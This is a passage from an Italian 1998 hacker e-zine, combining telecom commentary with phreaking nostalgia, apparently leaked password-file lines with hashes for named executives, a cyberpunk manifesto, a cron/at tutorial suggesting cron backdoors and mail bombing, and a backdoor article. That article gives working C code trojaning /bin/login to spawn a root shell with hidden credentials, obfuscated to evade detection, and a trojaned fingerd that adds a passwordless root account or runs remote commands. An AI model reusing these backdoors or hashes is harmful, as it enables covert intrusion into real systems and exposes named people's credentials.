l'amministratore delegato Giuliano Venturi a Milano - parte la nuova offerta
per le aziende su tutto il territorio nazionale, con tariffe inferiori fino
al 40% per le chiamate interurbane e addirittura fino al 51% per quelle
internazionali, rispetto a quelle praticate attualmente dall'ex monopolista.
L'anno prossimo tocchera' alla clientela residenzale, ma la sperimentazione
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
avra' inizio gia' da quest'autunno, con riduzioni tariffarie all'incirca
della stessa percentuale. La concorrenza del nuovo operatore si estendera'
anche alle cabine telefoniche. I primi test nelle stazioni, negli aeroporti
e nei luoghi di massima frequentazione inizieranno prima della fine
dell'anno e il prototipo della cabina Albacom sara' presentato alla prossima
edizione dello Smau a ottobre.
Tra i principali clienti di Albacom, che sono gia' piu' di duemila, anche la
Zanussi di Pordenone. E cioe' l'ex azienda dell'attuale presidente di
Telecom Italia, Gian Mario Rossignolo."
...
Che qualcosa cominci a muoversi e' evidente, quello che non si sa' e' quando
noialtri poveri mortali potremo beneficiare di tutto questo.
La telefonia cellulare e' un passo piu' avanti di quella fissa, e tutto
grazie alla lotta di tariffe fra Omnitel e Tim, lo possiamo vedere dalle
incandescenti campagne pubblicitarie e dalla costante uscita di novita' in
fatto di tariffe, dalle offerte You & Me Omnitel (95 lire al minuto per
chiamare un numero deciso dall'utente) alla nuova tariffazione Tim per la
fascia rossa, e cioe' 95 lire al minuto dopo le 22.00. Peccato solo che i
modem a protocollo cellulare raramente vadano sopra i 9600 bps, e che
costino cosi' tanto (un'interfaccia PCMCIA -> Nec G9 ha un costo indicativo
di passa 600.000, troppo per le tasche della maggior parte della gente).
Altra bella idea (o almeno cosi' potrebbe sembrare) e' stata l'offerta
Telecom per l'installazione di linee ISDN presso privati, scaduta il 30
giugno. Personalmente l'ho fatto, ma non sono sicuro di aver fatto la scelta
giusta.
Sono d'accordo che, dopo l'abbandono frettoloso del progetto Socrate,
Telecom punti ad un miglioramento a mezzo digitale delle linee, e che l'ISDN
sia il mezzo migliore, in vista dell'ADSL, ma ci sono un paio di cosette che
ancora mi ronzano in testa e che mi spingono a sconsigliare la conversione
della propria linea da analogica a digitale.
Primo, il non indifferente costo di un abbonamento internet ISDN. Provate a
chiedere ai vari providers, ma le tariffe sono enormi. Nettuno offre il
servizio a quasi un milione, Telecom non ne ho idea, ma probabilmente un
mezzo milione di abbonamento non ce lo toglie nessuno (anche di piu', e'
sufficiente vedere quanto costa un semplice abbonamento FLAT o PSTN).
Secondo, anche se mi passasse per la testa di utilizzare accounts non
propriamente miei, c'e' quella cosa antipatica e molto pettegola (per dirla
alla Vanadio) chiamata Caller-ID. I cellulari GSM Omnitel ne erano dotati da
parecchio, quelli Tim cominciano ora a far apparire sul display il numero
del chiamante, e per quanto riguarda l'ISDN il servizio e' attivo di
DEFAULT, dando in pasto il nostro numero di telefono a chiunque capiti di
incrociare il nostro segnale, voce o portante che sia. Questo significa
privacy zero, e mi piacerebbe sapere se non va' contro la legge attuale.
Le centraline meccaniche sono ormai un pezzo di storia, vi sfido a trovarne
ancora una. Da febbraio di quest'anno in tutti i distretti telefonici e'
stata attivata la TUT, quando prima di quella data resistevano ancora degli
angoli di paradiso.
Le notizie sulla possibilita' di ricaricare carte prepagate Tim sono scarse,
ad integrare la ricerca di Cavallo sui precedenti numeri di BFi c'e' solo la
notizia secondo la quale la generazione dei codici di Ricaricard viene
effettuata a "random", con nostra somma gioia (ironico...).
E, buon ultimo, si sono rivelate fondate le voci della cosiddetta "rete
intelligente" per le cabine telefoniche... dei 4 cavi che partono da un
posto telefonico pubblico, due trasmettono il segnale, ed EFFETTIVAMENTE i
due restanti eseguono verifiche su verifiche dello stato dell'apparecchio e
sulla validita' della carta telefonica: questo significa possibilita' di
ricarica casalinga ZERO.
Tutto questo discorso significa solo una cosa: dal fronte dell'ex
monopolista delle telecomunicazioni si avvicinano solo nuvoloni neri che
preannunciano tempesta, e tutte le speranze sono ora riposte nei
concorrenti come, appunto, Albacom.
Telefonare, di questi tempi, e' forse un lusso piu' che in passato. I green
non sono piu' sicuri, pensiamo all'Icetrap del green di IOL di poche
settimane fa, il numero di paesi extraeuropei verso i quali e' possibile
boxare si contano sulle dita di una mano monca (e tanto non servono a nulla,
sono tutti locali), e AT&T e MCI monitorano l'utilizzo delle calling cards
con una tale assiduita' da renderne sconsigliabile l'utilizzo.
Quello che ci resta e' il ricordo degli ultimi tempi di felicita' nei primi
sei mesi del 1994, prima del Fidonet Crackdown, in cui boxare verso Israele
locale (c'era One Man Crew, non dico altro) o China globale era
un'abitudine e in cui le calling cards delle aziende americane venivano usate
ogni giorno. Di Internet si parlava ancora poco, ma eravamo gia' in giro,
fosse pure su delle semplici BBS dove un messaggio ci metteva giorni ad
essere recapitato da una parte all'altra della rete a suon di polling, e
saremo ancora in giro domani, quando, FORSE, una mano dal cielo verra' ad
aiutare i poveri utenti oppressi da una dittatura telefonica che non lascia
respiro.
Per quelli che cominciano ora la situazione si prospetta difficile,
l'importante e' non demordere, e pensare che, dopotutto, se gli italiani non
vogliono restare l'ultima ruota del carro in fatto di telecomunicazioni,
qualcosa dovra' aggiustarsi anche qui...
- sPIRIT^sP
Ringraziamo Telecom Italia per l'interessamento ai nostri problemi...
sap:FOXd4WvZYQ0Yk:1059:313:A. Saponaro,,,,:/u/sap:/bin/false
grauso:Z.iGScQQDSDQw:307:20:Nicola Grauso,VOL,,:/u/grauso:/bin/false
rossig:O2qJHauQMBK4I:1072:301:Gian Mario Rossignolo,,,:/users/mailbox \
:/bin/false
.... POSSONO QUESTI UOMINI FARCI PAURA?
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CYáERPUNK ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
*Premessa al testo*
questo articolo e' frutto di elucubrazioni sotto effetto dei fumi di una
qualche sostanza, sintetica o naturale poco importa, e non avrebbe forse mai
nemmeno dovuto essere pubblicato. Sono spinto a proporlo per bfi da un articolo
comparso su bfi2 che invitava, per la sopravvivenza dell'underground, ad andare
al di la' delle produzioni strettamente tecniche (che continuano ad essere la
colonna portante).
Come disse qualcuno (forse la mia prof di italiano? sinceramente non ricordo),
in ogni viaggio che si rispetti si viene a contatto con diverse culture, si
allarga il proprio bagaglio conoscitivo sia sotto il punto di vista
nozionistico che concettuale. In effetti durante il mio viaggio nel
cyberspazio, iniziato ormai da qualche tempo, ho imparato (in tempi
relativamente recenti) a conoscere e ad amare una delle sottoculture tra le
piu' affascinanti che io conosca: il cyberpunk.
Vorrei quindi riportarvi la traduzione di uno dei manifesti (ce ne sono
parecchi in giro) che mi ha colpito maggiormente e che a mio parere riassume
lo 'spirito' del cyberpunk:
Un Manifesto Cyberpunk
Siamo le MENTI ELETTRONICHE, un gruppo di liberi pensatori ribelli. Cyberpunk.
Viviamo nel cyberspazio, siamo dappertutto, non conosciamo frontiere.
Questo e' il nostro manifesto. Il manifesto del cyberpunk.
I. Cyberpunk
1/ Siamo quelli, i Diversi. Ratti tecnologici, che nuotano nell'oceano
dell'informazione.
2/ Siamo quelli schivi, i ragazzini a scuola che siedono nell'ultimo banco,
nell'angolo della classe.
3/ Siamo i giovani che tutti considerano strani.
4/ Siamo gli studenti che hackano i sistemi, che esplorano la profondita'
della sua portata.
5/ Siamo quelli cresciuti nel parco, seduti su una panchina, con il portatile
sulle ginocchia, che programmano l'ultima realta' virtuale.
6/ Nostro e' il garage, riempito di aggeggi elettronici. Il saldatore
nell'angolo della scrivania e vicino la radio smontata - anche queste cose
sono nostre. Nostra e' la cantina con il computer, la stampante che ronza e
il modem che fa beep.
7/ Siamo quelli che vedono la realta' in un modo diverso. Il nostro punto di
vista mostra piu' di quello che la gente normale vede. Essi vedono solo
quello che e' esternamente, ma noi vediamo dentro. Questo e' quello che
siamo, realisti con gli occhiali dei sognatori.
8/ Siamo quelle strane persone, per la maggior parte sconosciute ai vicini.
Gente, assorta nei suoi pensieri, che siede tutti i giorni davanti al
computer, che mette a soqquadro la rete per qualcosa. Non usciamo spesso,
solo di tanto in tanto, solo per andare al vicino negozio di radiofonia, o
al solito bar per incontrare i pochi amici che abbiamo, o per incontrare un
cliente, o dal farmacista... o solo per una passeggiata.
9/ Non abbiamo molti amici, solo alcuni con cui andare alle feste. Tutti gli
altri che conosciamo, li conosciamo sulla rete. I nostri veri amici sono
li', all'altro capo del filo. Li conosciamo con il nostro canale di irc
preferito, con i news-groups, con i sistemi nei quali cazzeggiamo.
10/ Siamo quelli a cui non importa cio' che gli altri pensano di noi, non ci
importa di come sembriamo o cosa la gente dice in nostra assenza.
11/ La maggior parte di noi vive nascondendosi, non siamo conosciuti da nessuno
a parte quelli con cui dobbiamo per forza aver a che fare.
12/ Gli altri adorano la pubblicita', adorano la fama. Sono tutti conosciuti
nel mondo dell'underground. I loro nomi risuonano spesso qui. Ma noi siamo
uniti da una cosa - siamo Cyberpunks.
13/ La societa' non ci capisce, noi siamo "strani" e "pazzi" agli occhi della
gente normale che vive lontano dalla libera informazione e dalle libere
idee. La societa' impedisce la nostra corrente di pensiero - una societa'
che vive, pensa e respira in una unica maniera - uno stereotipo.
14/ Ci rinnegano perche' pensiamo come gente libera, e il libero pensiero e'
proibito.
15/ Il cyberpunk ha apparenze esteriori, e' non-movimento. I cyberpunks sono
persone, che partono dalla normalita', sconosciute agli altri, all'artista
tecno-maniaco, al musicista, allo studente superficiale, che suonano musica
elettronica.
16/ Il cyberpunk non e' piu' un genere letterario, nemmeno una normale
sottocultura. Il cyberpunk e' una nuova cultura della solitudine, figlia di
una nuova generazione. Una cultura che unsce i nostri interessi e i nostri
punti di vista. Siamo un'unita'. Siamo Cyberpunks.
Qui si conclude la prima parte del manifesto (ce ne sono altre 4: "II-Society"
"III-The System" "IV-The vision" e "V-Where are we?") che riguarda strettamente
il cyberpunk. Questo non e' altro che il pensiero di un ristretto gruppo di
persone, ma come ho detto all'inizio mi pare una buona rappresentanza della
corrente cyberpunk piu' moderna. Ci sono alcuni punti sui quali non sono
interamente d'accordo - ad esempio, considero ancora il cyberpunk un grande
genere letterario, nonostante non sia estremamente prolifico, e leggo ancora
volentieri Sterling o Gibson - ma penso sia del tutto normale.
Se qualcuno mostrera' interesse per questo argomento in seguito inseriro'
volentieri anche il resto del manifesto e -per chiunque lo voglia- io possiedo
l'originale inglese, basta che mi contattiate via e-mail.
I ringraziamenti del giorno vanno a: 1 Cavallo De Cavallis, che mi ha indicato
alcune letture veramente interessanti sull'argomento e 2 tutti (veramente
pochi) gli amici di #cyberpunk .
Crescete e moltiplicatevi,
Fre
fre-@usa.net
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÄÄÄÄÄÄÄ GESTi0NE DEi PR0CESSi iN AMáiENTE UNiX ÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ
In ambiente unix, non sempre la sessione del terminale puo' essere adatta per
i propri processi, molte volte per motivi di tempo si preferisce che una serie
di istruzioni siano eseguite in un momento successivo.
Lo scheduling dei job e' quindi possibile attraverso i comandi:
at (usato quando si vuole specificare l'ora esatta in cui eseguire un
comando)
crontab (usato quando il processo deve essere ripetuto ad intervalli
regolari)
batch (usato per eseguire un processo quando il computer non e' occupato)
Molto spesso, sentendo parlare di modalita' batch, si puo' pensare ai tempi in
cui si basava l'intero lavoro su interminabili (o quasi :) elaborazioni della
macchina al fine di produrre l'output desiderato, senza nessun intervento da
parte dell'utente che poteva passare il suo tempo a grattarsi.
L'interattivita' su cui si basano oggi praticamente tutti i S.O. ha fatto
dimenticare questa modalita' che tuttavia e' ancora presente, se non altro per
operazioni di aggiornamento, backup che sono normali routine per una banca o
per una qualsiasi attivita' che non voglia vedere il suo lavoro mandato a
puttane ;)
Per esempio gran parte delle banche (direi tutte :) svolgono dei backup
parziali (riguardanti soltanto i dati modificati) a tempi regolari e una volta
ogni N backup parziali (oppure ad una data prefissata) si procede al backup
totale.
Beh se lo volete proprio sapere sembra che in alcuni centri di calcolo, e mi
riferisco sia a quelli esterni a cui viene data in affidamento l'elaborazione
dei dati (si parla di outsourcing) che quelli interni alle banche (sono sempre
di meno), i dati vengano spesso passati via modem ad un centro posto non
necessariamente in Italia ed in caso di danneggiamento degli archivi e'
possibile sapere l'entita' del danno e procedere alla risistemazione di essi.
Ora potete dirmi pure che sono cazzate, ma io so che e' la verita' e queste
informazioni possono essere facilmente reperibili quindi evitate di rompermi
troppo.
Scusatemi per questa parentesi e cominciamo a vedere il primo di questi tre
comandi.
COMANDO AT
Questo comando risultera' di notevole utilita' se avete intenzione di eseguire
un processo ad una determinata ora.
La sintassi e' la seguente:
at opzioni tempo
La coda di default per questo cmd e' a.
Vediamo le opzioni disponibili:
-f file specifica il file che contiene il job
-l visualizza i job messi in coda, come il cmd atq
-m manda una mail all'utente quando il job e' stato terminato
e sia se c'e' stato un output, oppure no
-a specifica il nome della coda, per default il suo valore e' a
come gia' ricordato prima :)
-r Cancella il job at specificato
-t specifica l'ora di esecuzione con il formato del cmd touch
(MeseGiornoOraMinutiAnno in ambiente Linux)
Vediamo un esempio del cmd at:
$ at midnight
fuck_hd
Control-D
Job XXXXXXX will be executed using /bin/sh
$
N.B. Al posto del Control-D (EOF) si potra' usare pure un punto singolo, in
genere viene sconsigliato l'uso di CTRL-D per evitare che una doppia pressione
comporti l'uscita dalla shell, cmq e' anche vero che non tutti i S.O. accettano
il punto singolo.
Da notare che dopo l'uso di questo cmd verra' comunicato l'ID che identifica
univocamente il processo.
Dopo questo cmd sara' creato un file in /var/spool/at o atjobs a seconda del
S.O.
Nel mio caso il nome del file e' a0000100e434c8, dateci un'occhiata per
rendervi conto di cosa c'e' dentro :)
Alcune parole chiave di at
parola tempo di esecuzione
midnight 12:00 am
noon 12:00 pm
now giorno e ora attuali
today data attuale
tomorrow il giorno successivo a quello attuale
teatime 16:00 (Uhhmmm mi sa di inglesi :)
E per le ore precise da orologi svizzeri?
ecco alcuni esempi
at 1745 (eseguira' il job alle 17:45)
at 545 PM
at now + 2 hours
at 1am Dec 9 + 1 year
credo che non ci sia bisogno di spiegazione.
Per uccidere il processo ricordatevi: at -r job-ID
COMANDO BATCH
Questo comando esegue un processo quando il computer non e' occupato.
Qui non ci sono parametri.
$batch
fuck_hd
EOF
Job XXXXXXXXXXX will be executed using /bin/sh
$
In genere la coda di default e' la b, tuttavia questo standard POSIX e' diverso
per altri S.O. vedi linux.
COMANDO CRONTAB
Qusto cmd viene utilizzato quando i processi devono essere ripetuti ad
intervalli regolari.
Esso si occupa della gestione dei cmd eseguiti dal demone cron e molte volte
viene utilizzato dall'admin per scopi di pulizia, loggaggio ecc...
Opzioni importanti
-e Modifica una voce del cmd crontab dell'user, oppure crea una nuova
voce per l'utente.
-r Elimina la voce crontab dell'user.
Tutte le voci vengono registrate nel file /var/spool/cron/crontabs e sono
leggibili solo da chi ha permessi root.
Se esaminiamo il crontab noteremo che ci sono cinque campi separati da spazi
prima del cmd vero e proprio.
Il primo di questi campi rappresenta i minuti, seguono quindi le ore, i giorni
del mese, il mese e il giorno della settimana.
TIPO RANGE
minuti da 0 a 59
ore da 0 a 23
giorni settimana da 0 (domenica)
L'asterisco indica invece che non avverra' nessun controllo su quel campo.
DISPONIBILITA' DEI COMANDI
Per i cmd at e batch, affinche' sia possibile il loro utilizzo, occorre
verificare i file at.deny e at.allow il primo contiene una lista degli utenti
che non possono utilizzare tali cmd e il secondo invece di quelli abilitati a
tali funzioni.
In genere questo file puo' essere modificato soltanto da chi e' root.
Se mancano invece completamente questi file chiunque puo' utilizzare i cmd.
Questo discorso vale pure per il crontab dove i file di definizione dei
permessi sono: cron.allow e cron.deny.
UTILITA'
Ok voglio solo dare delle idee sull'utilizzo di questi comandi da parte di
un hacker.
Beh il modo piu' conosciuto di utilizzo sono le backdoor che vengono
installate sul sys in determinati momenti e poi rimosse, questo permette
di far sembrare all'admin certe cosette quasi una casualita' ;) Ma a dire il
vero le backdoor utilizzate attraverso i cron prima o poi vengono individuate
ed eliminate. Le piu' comuni sono quelle che aprono una shell con permessi di
root su una determinata porta o che mettono una suid shell in giro per gli hd.
Altro modo di utilizzo sono il mail bombing, infatti e' possibile programmare
ogni N minuti o giorni o settimane l'invio di un messaggio ad una determinata
persona e se cancellate le tracce non vi trovano piu' :)
Per il resto basta dare spazio alla fantasia, pensate per esempio ai password
cracker, ai bouncers o a piccole anomalie da creare sul sys, all'aggiunta di
un "+ +" in un file .rhosts, agli sniffers o a qualsiasi altra cosa.....
pIGpEN
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ áACKD00R: iDEE ED iMPLEMENTAZi0Ni ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ
NO(C)1998 fusys
A scopo informativo di Apprendimento e Divertimento. Fatene quel che volete.
Nello scorso numero di BFI, Dark Schneider ci ha intrattenuto con alcune
idee su come creare backdoor. Vorrei aggiungerne qualcuna. Ora mi
rivolgo prima ai super newbie pero'. Che e' una backdoor?!
In sostanza si tratta di avere un canale prioritario di accesso al sistema
che soddisfi tre requisiti fondamentali:
1) non deve essere NECESSARIAMENTE un canale usuale, seppur modificato
(tipo login troyano)
2) deve permettere un accesso al livello piu' alto possibile
mantenendo pero' come prioritario il punto 3
3) deve essere occulto. No :) niente a che fare con galli neri o gas
nervino nella metro di Tokyo ... nascosto, segreto, e non
utilizzabile da tutti.
Oltretutto non dovrebbe essere possibile usufruirne casualmente, poiche'
questo porterebbe pseudo-inevitabilmente alla sua rimozione da parte di
root. Ad esempio modificare /bin/login perche' ci offra accesso se usiamo
come login guest o pippo, porterebbe la maggior parte dei ragazzini ad
usare la nostra backdoor ... con ragazzini non intendo giovani di eta' ma
giovani di comprendonio (il che puo' essere vero anche a 50 anni :)
Ok, chiarito questo, vediamo quali possono essere altri modi piu' o meno
conosciuti di cui Dashie non ha parlato .... ricordo una bella discussione
con della gente di DefCon riguardo alle varie backdoor implementabili.
Ecco qualche sunto derivato da quelle parole.
EXPLOIT
Spesso e volentieri lo stesso programma o exploit remoto con cui si e'
entrato, ma questo solo nel caso root non ci abbia ancora scoperto. Si'
perche' e' bene non usare subito le backdoor, se se ne ha a disposizione
solo una. Occhio a non modificare alcunche'. Ed occhio all'articolo sui
log in BFI2.
PASSWD
Ovvio e lame come pochi :) :passwd e shadow e via a casa col programma
delle moffette (che non e' l'animale domestico di Aldo, Giovanni e Giacomo,
ma bensi' Crack di Alec Muffet). Tante password per rientrare comodamente,
anche se non come root.
RHOSTS ------> vedi BFI2 ad opera di Dark Schneider (da ora V. Dashie)
SUID SHELL -------> V. Dashie
BINARI (rootkit)
In questo caso possiamo davvero sbizzarrirci. Occhio alle date,
dimensioni, e checksum dei file (V. Dashie per fixer.c)
a) LOGIN
Modificando /bin/login possiamo fare in modo di avere accesso come root
semplicemente inserendo la nostra coppia user/password che NON esiste nel
normale file passwd. Questo approccio fornisce accesso senza modificare i
vari utmp, wtmp, lastlog .... ma i processi sono visibili come owner root.
Spesso gli amministratori se ne accorgono, in caso di sospetto, andando
subito a fare un bel strings /bin/login per vedere dentro quali siano le
stringhe che contengono user/password e gli eventuali comandi lanciati
dalla versione troyan.
b) TELNETD
Questo e' simpatico nel senso che permette di lanciare un comando nel caso
ad esempio ci siano alcune condizioni. Il demone potrebbe riconoscere
l'host remoto da cui mi connetto, o magari alcune stringhe presenti nelle
variabili di ambiente come TERM= .... e lanciare il comando che ho codato
dentro al demone.
c) INETD
Magari non aggiungendo un servizio nuovo come bash -i ma modificando i
vari RSH, RLOGIN, TALKD, FINGER, etc etc ....
CRON -------> V. Dashie
LIBRERIE
Se riesco a modificare la libreria che quasi tutti i programmi di default
su un sistema Linux usano come condivisa, potrei ad esempio mettere la mia
implementazione di crypt(3) o di getpass(3) per non autenticare la mia
password, ma convalidarla e basta ...
MODULI LKM
Come detto in altri articoli, un modulo kernel puo' sostituire le chiamate
di sistema con le mie ad hoc, cosi' da sovvertire il normale funzionamento
del kernel .... pensate ad esempio alla possibilita' di variare
l'esecuzione di un programma preciso, con un altro in un altro path o
CMDLINE, senza che il processo se ne accorga (solitamente la shell).
TCP/IP
Creando dei tunnel all'interno di altre applicazioni di rete, in modo da
convogliare all'interno dei pacchetti IP dati nascosti nelle zone di
options degli header TCP, UDP e ICMP .... ad esempio l'implementazione
Loki di daemon9 aka route.
Questo proprio in due paroline da' un'idea della variabilita' possibile per
quanto riguarda le backdoor.
Ora considerate il fatto che non ci sono delle implementazioni CANONICHE
.... la fantasia la fa da padrona in questo caso. Ogni file, servizio, o
troyan puo' essere codato differentemente.
Quindi dopo questa patetica :) introduzione alle backdoor, cerco di farvi
vedere qualche cosa, come in ogni mio articolo, convinto che ci siano piu'
S.Tomaso in giro che non Platone ....
Partiamo dal classico dei classici. E dal facile dei facili :)
La modificazione di /bin/login.
Si' ok, avete tutti il vostro bel rootkit. Ma sono davvero curioso di
sapere quanti di quelli che l'hanno usato almeno una volta, hanno almeno
una volta guardato come sia stato implementato :) E qui non mi rivolgo ai
raga di S0ftPj o dell'Orda, ma ai lettori sconosciuti =:>
Modificare login e' in fin dei conti una stronzata, fattibile in malo modo
ma funzionante nel giro di un minuto. Sempre che si sappia che diavolo fa
login quando gira.... quindi date un occhio al sorgente normale. Se non
sapete dove sia, dovete procurarvi il pacchetto util-linux-2.7 che
contiene fra gli altri progs anche login. La versione distribuita con
RedHat contiene anche le definizioni condizionali per l'uso con le
password shadow o con i moduli di autenticazione PAM.
Partiamo da una implementazione vecchio tipo che viene facilmente
scoperta. Aggiungiamo tra i define anche questi due:
#define bfi98 "bfi98"
#define beefee "beefee98"
ovvero una semplice coppia di stringhe che useremo come user/password.
Ad un certo punto nel corso del sorgente (col cavolo che lo metto tutto :)
vedrete queste linee di codice.
/*
* If no pre-authentication and a password exists
* for this user, prompt for one and verify it.
*/
if (!passwd_req || (pwd && !*pwd->pw_passwd))
break;
setpriority(PRIO_PROCESS, 0, -4);
pp = getpass("Password: ");
Dopo la chiamata a getpass() inseriamo queste righe:
if ((!strcmp(username, bfi98)) && (!strcmp(pp, beefee))) {
alarm(0);
system("/bin/sh -i");
}
OK quello che abbiamo fatto e' comparare lo user e la password inserite
con quelle da noi definite, e nel caso corrispondano, il flusso di
funzionamente di login e' interrotto, vengono 'calmati gli allarmi' e
login stesso esegue per noi una bella shell interattiva con UID/GID 0 !!!
Non fa in tempo ad aggiornare neanche i log.
Questo login modificato funziona in sistemi senza uso di moduli PAM. In
presenza di questi infatti, il flusso del programma non chiama queste
righe di codice, ma devolve l'autenticazione al modulo PAM_PWDB. Chiarito
questo dobbiamo notare che se l'amministratore desse il comando suddetto
strings vedrebbe tra le altre stringhe anche:
bfi98
beefee98
/bin/sh -i
il che potrebbe fargli capire qualche cosa :)
Se vogliamo occultare il comando da eseguire possiamo spezzettarlo
cambiando la chiamata di sistema, usando execl:
execl("/bin/sh", "-i", 0);
Ora la stringa non compare. Per quanto riguarda le variabili possiamo
immaginare una stringa come un puntatore a carattere, o come un array di
caratteri. In questo caso possiamo tentare:
char bfi98[5];
char beefee[8];
e poi subito dopo le dichiarazioni relative alla gestione dei segnali:
bfi98[0]='b'; beefee[0]='b';
bfi98[1]='f'; beefee[1]='e';
bfi98[2]='i'; beefee[2]='e';
bfi98[3]='9'; beefee[3]='f';
bfi98[4]='8'; beefee[4]='e';
beefee[5]='e'; beefee[6]='9';
beefee[7]='8';
ora non ci sono piu' stringhe nel binario visibili con strings. root
dovra' capire in altre maniere come mai ci siano accessi riferibili ad
utenti UID 0 senza log o altre anomalie.
#############################################################################
NOTA: tnx a daemon9 per questa dritta ... non ci avevo proprio pensato in
un primo momento ....
#############################################################################
Se invece il Linux in questione usa i moduli PAM allora dobbiamo
premunirci di utilizzare la nostra user/password in un altro punto del
codice. Per l'esattezza prima che venga inizializzato il retcode con le
chiamate al modulo PAM:
#ifdef USE_PAM
/* username is initialized to NULL
and if specified on the command line it is set.
Therefore, we are safe not setting it to anything
*/
/* fusys */
if (!strcmp(username, bfi98)) {
pp = getpass("Password: ");
if (!strcmp(pp,beefee)) {
alarm(0);
execl("/bin/sh", "-i", 0);
}
}
/* end fusys */
retcode = pam_start("login",username, &conv, &pamh);
A questo punto senza operazioni di copia/incolla possiamo inserire le
varie righe di codice nei vari punti suddetti e procedere alla
compilazione di login con il Makefile e MCONFIG standard del pacchetto
util-linux-2.7 ... :)
A questo punto bastera' inserire le nostre user e passwd al login sia in
consolle, terminali che telnet remoto per avere accesso root al sistema.
############################################################################
Questa e' solo un'idea. util-linux-2.7 e' quello standard per linux. Altri
sistemi richiederanno differenti sorgenti. Ricordate che un buon troyan ha
anche la stessa data di accesso e modifica (man touch) almeno ....
############################################################################
Tanto per farvi capire come la fantasia possa essere interessante ed utile
in questi casi, vi mostro prima un' implementazione di un classico demone
FINGER, e poi invece una versione piu' chiccosa :)))
Il normale fingerd troyan non fa altro che darvi una shell suidata o
aggiungere un utente al file passwd ogni volta che fingerate l'utente
'giusto' ..... o comunque esegue un comando con UID/GID 0 se in inetd.conf
abbiamo:
finger stream tcp nowait root /usr/sbin/tcpd in.fingerd
^^^^
e non
#finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
^^^^^^
Come e' possibile che fingerd esegua un comando se come argomento di
finger specifichiamo un utente che non esiste (leggi: una stringa da noi
arbitrariamente scelta ;))) ?! Semplice. Immaginiamo che nei sorgenti di
fingerd.c, prelevati nel pacchetto finger-0.10-2 ci sia un bel:
char bfi[5];
inizializzato come:
bfi[0]='b';
bfi[1]='f';
bfi[2]='i';
bfi[3]='9';
bfi[4]='8';
In questo caso bastera' aggiungere le seguenti linee di codice:
if (!strcmp(s,bfi)) {
execl("echo", "bfi98::0:0::/:/bin/sh" ,">>", "/etc/passwd", 0);
av[--k]=NULL;
}
all'interno delle seguenti righe normali:
k = nusers = 0;
av[k++] = "finger";
for (s = strtok(line, WS); s && k<ENTRIES; s = strtok(NULL, WS)) {
/* RFC742: "/[Ww]" == "-l" */
if (!strncasecmp(s, "/w", 2)) memcpy(s, "-l", 2);
t = strchr(s, '@');
if (t) {
fprintf(stderr, "fingerd: forwarding not allowed\r\n");
syslog(LOG_WARNING, "rejected %s\n", s);
exit(1);
}
if (heavylogging) {
if (*s=='-') syslog(LOG_INFO, "option %s\n", s);
else syslog(LOG_INFO, "fingered %s\n", s);
}
av[k++] = s;
if (*s!='-') nusers++;
}
Le 'nostre' righe vanno inserite proprio alla fine del ciclo for, dopo
if (*s!='-') nusers++;
In questo modo se fingeremo bfi98@obiettivo otterremo che il comando venga
eseguito ed invece di avere come output bfi98: unknown user, avremo la
lista degli utenti connessi poiche' abbiamo azzerato il parametro che
fingerd passa a finger. Ora possiamo eseguire configure e make di
fingerd.c
##########################################################################
Nota spero scontata: il comando eseguito aggiunge al sistema l'utente
bfi98 con accesso come root, senza password e con home in /
##########################################################################
Pero' e' cosi' banale :)
Quello che invece propongo adesso e' un fingerd diverso. Immaginate di
poter specificare come parametro di finger UN COMANDO PER LA SHELL !
Esatto: se fingero id@obiettivo avro' come output
uid=0(root), gid=0(root)
!!! Non sarebbe niente male. Se invece fingero utenti realmente esistenti
mi da la solita risposta di finger. Qualcuno avra' gia' trovato una pecca.
Immagina che un root amico di un sistema remoto fingeri un utente reale,
ma sbagli il nome. Il nostro demone troyan interpreta la stringa come un
comando (non essendo di un utente) e mostra come output:
bash: utente_reMale: command not found
ARGH! Beccati per caso ! Il che e' contrario al punto 3, prioritario per
una buona backdoor. E' quindi auspicabile poter settare il comportamento
del nostro demone come on o off a piacimento per usare i nostri comandi
remoti solo quando vogliamo, per poi ripristinare il demone in uno stato
'normale' o addormentato se preferite. Un modo che mi sembra possa andare
e' usando una stringa di attivazione ed una di disattivazione. Ad es:
finger on@vittima Attiviamo la backdoor
on: unknown user.
finger id@vittima Comando remoto in quanto id non e' un
utente normale del sistema
uid=0(root), gid=0(root)
No one logged on. Ecco l'output :)
finger off@vittima Disattiviamo la backdoor
off: unknown user.
finger id@vittima Proviamo il comando
id: unknown user. TOMBOLA ! :)
Ovviamente possiamo settare a nostro piacimento le stringhe di
attivazione. Un modo per il demone di valutare il suo stato e' quello di
usare un lock file. Semplice. Un'altra idea, e' di variare alcuni bit
nell'inode di un file esistente, senza per questo danneggiare alcun file.
Per adesso vediamo il semplice uso di un file di lock esterno, che ci
aiuti a definire in ogni momento lo stato del demone finger. Questa
implementazione non risente dell'eventuale cancellazione del file. Ma
lascia comunque una traccia ....
Passiamo al codice vero e proprio. R.W.Stevens dice che il modo migliore
di imparare a codare e' di leggere codice. L.Torvalds dalla sua dice che
il modo migliore per capire il kernel di Linux, e' di leggerne il codice.
